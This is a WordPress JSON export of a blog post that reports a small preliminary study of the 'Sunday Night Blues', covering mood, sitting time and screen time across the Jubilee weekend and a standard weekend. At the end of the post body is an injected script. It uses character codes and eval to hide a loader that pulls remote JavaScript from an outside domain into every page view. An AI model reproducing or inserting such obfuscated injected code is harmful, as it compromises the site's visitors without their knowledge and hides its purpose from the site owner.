{"id":6459,"date":"2023-06-09T10:55:41","date_gmt":"2023-06-09T10:55:41","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/sunday-night-blues\/"},"modified":"2023-06-09T10:55:41","modified_gmt":"2023-06-09T10:55:41","slug":"sunday-night-blues","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/sunday-night-blues\/","title":{"rendered":"Sunday Night Blues\u00a0"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/sunday-night-blues\/#Methods\" title=\"Methods&nbsp;\">Methods&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/sunday-night-blues\/#Changes_in_Mood\" title=\"Changes in Mood&nbsp;\">Changes in Mood&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/sunday-night-blues\/#Sunday_Night_Blues_Preliminary_Findings\" title=\"Sunday Night Blues Preliminary Findings\u00a0\">Sunday Night Blues Preliminary Findings\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/sunday-night-blues\/#Sedentary_Behaviour_Physical_Activity\" title=\"Sedentary Behaviour &amp; Physical Activity&nbsp;\">Sedentary Behaviour &amp; Physical Activity&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/sunday-night-blues\/#Future_Directions\" title=\"Future Directions&nbsp;\">Future Directions&nbsp;<\/a><\/li><\/ul><\/nav><\/div>\n\n<p>The <em>Sunday Night Blues <\/em>phenomenon refers to feeling low (experiencing low mood) on a&nbsp; Sunday when thinking about one\u2019s impending working week. There is a lack of research into&nbsp; this topic, and it is hoped that exploring the Sunday Night Blues will help provide a platform&nbsp; for mental health discussion among employers and their employees.&nbsp;<\/p>\n\n\n\n<p>This report outlines results of a small-scale study with fifty employees recruited through social&nbsp; networks (e.g., LinkedIn, Twitter) in June 2022. The study took place over two weekends: the&nbsp; Queen\u2019s Jubilee weekend and the following weekend. This preliminary study was conducted&nbsp; to inform a larger research study that will commence in October 2022.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Methods\"><\/span><strong>Methods&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Participants completed eight brief online surveys hosted on Qualtrics. Table 1 shows the\u00a0timepoints at which the surveys were completed. Participants provided information about\u00a0 their mood, sedentary behaviour, physical activity, and experiences in the workplace.\u00a0\u00a0<\/p>\n\n\n\n<figure class=&quot;wp-block-image aligncenter size-large&quot;><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2022\/09\/Timepoint-for-each-online-survey-720x107.png&quot; alt=&quot;&quot; class=&quot;wp-image-32836&quot;\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Changes_in_Mood\"><\/span><strong>Changes in Mood&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Participants experienced a dip in pleasantness from Sunday afternoon to Monday morning,\u00a0 followed by a positive rebound effect on Monday evening (see left-hand side of Figure 1).\u00a0 <\/p>\n\n\n\n<p>However, this pattern of responses was more pronounced during the Queen\u2019s Platinum\u00a0 Jubilee weekend when compared to a standard two-day weekend, in alignment with research\u00a0 showing that people feel down after a holiday. <\/p>\n\n\n\n<p>Participants reported similar energy scores\u00a0 across all timepoints, apart from Monday morning following the standard two-day weekend.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Sunday_Night_Blues_Preliminary_Findings\"><\/span>Sunday Night Blues: Preliminary Findings\u00a0<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=&quot;wp-block-image aligncenter&quot;><img src=&quot;https:\/\/lh3.googleusercontent.com\/SYhs1hSrQpVAF_HPPLh0mMKSvawqryFUdM7RAU_Tr9doeSbplC42EqpegBYiiTrxl06GOYf9inwlM54Fcal4ghJURsUgFM2c96VM-HELdwLDdpS9ag1RtPo2Y5h9QkU37gjR8pHZA3fV41OMke_SEbnfBZpPLttMq1stG-YXIiAjDdRxuB07T-TwQw&quot; alt=&quot;&quot;\/><\/figure>\n\n\n\n<p><strong>Figure 1. <\/strong>Pleasantness (left) and energy (right) scores (<em>M <\/em>and 95% CI) across all timepoints.&nbsp; <em>Note. <\/em>S = Sunday, M = Monday.&nbsp;<\/p>\n\n\n\n<p>Participants were also encouraged to provide contextual detail during each of the online&nbsp; surveys. The additional time spent away from the workplace as part of the Jubilee weekend&nbsp; was generally appraised positively:&nbsp;&nbsp;<\/p>\n\n\n\n<p><strong><em>\u201cIt has been a four-day weekend so recharged and caught up and&nbsp; had fun and now ready to return to work\u201d <\/em><\/strong><strong>(Jubilee Sunday, 14:00)&nbsp;<\/strong><\/p>\n\n\n\n<p>However, the prospect of returning to the work environment was a concern for some employees:&nbsp;<\/p>\n\n\n\n<p><strong><em>\u201cI know I have work in the morning, and I almost don\u2019t want to go&nbsp; to bed as I know as soon as I do that\u2019s the weekend over\u201d&nbsp;<\/em><\/strong><\/p>\n\n\n\n<p><strong>(Jubilee Sunday, 20:00)&nbsp;<\/strong><\/p>\n\n\n\n<p>The Jubilee weekend prompted a higher number of high energy\/low pleasantness mood&nbsp; states, such as anxiety, when compared to the standard weekend:&nbsp;<\/p>\n\n\n\n<p><strong><em>\u201cDown at [the] prospect of going back to work, worried about&nbsp; volume which will hit me tomorrow\u201d <\/em>(Jubilee Sunday, 14:00)<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Sedentary_Behaviour_Physical_Activity\"><\/span><strong>Sedentary Behaviour &amp; Physical Activity&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>The upper left panel of Figure 2 shows participants sitting behaviour over both weekends. As&nbsp; expected, participants reported greater sitting time on Mondays when compared to Sundays.&nbsp;&nbsp;<\/p>\n\n\n\n<p>The upper right panel shows participants screen time and as expected, large differences in&nbsp; scores were observed from Sundays to Mondays. However, participants reported more&nbsp; screen time on the first Sunday (i.e., during the Jubilee weekend) when compared to the&nbsp; second Sunday (i.e., during the standard weekend).&nbsp;<\/p>\n\n\n\n<p class=&quot;has-text-align-center&quot;><img width=&quot;479&quot; height=&quot;485&quot; src=&quot;https:\/\/lh4.googleusercontent.com\/1NISWwo4wTns_pkxA4mLMcz78MEt5eO7xfbkZhrLUdgXpvbhe677RHLCgg-lR7nnRrHMvFf57YcGHpwnxO3OmzvCAgQ0Qeijxrpw8qjj4qAenvKLMM-dR6cFDP16H7Z6BZztgpoqfZjCLF8jAW7GHfed4lkAWPCTPE0qQrzZVfpgAPva2tNKXR1J3Q&quot;><\/p>\n\n\n\n<p class=&quot;has-text-align-center&quot;><strong>Figure 2. <\/strong>Sitting time (upper left), screen time (upper right), and daily steps (lower panel)\u00a0 across both weekend types (<em>M <\/em>and 95% CI).\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Future_Directions\"><\/span><strong>Future Directions&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>This work represents an initial phase of research into the <em>Sunday Night Blues<\/em>. A replication&nbsp;study with a larger sample is required to draw firmer conclusions than those presented&nbsp; herein. Accordingly, readers are encouraged to view these preliminary findings with&nbsp; appropriate caution. <\/p>\n\n\n\n<p>If you would like to participate in the next study into the\u00a0 Sunday Night Blues phenomenon (October 2022), you can sign up here.\u00a0<\/p>\n\n\n\n<p>&nbsp;<\/p>\n<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script>","protected":false},"excerpt":{"rendered":"<p>The Sunday Night Blues phenomenon refers to feeling low (experiencing low mood) on a&nbsp; Sunday when thinking about one\u2019s impending working week. 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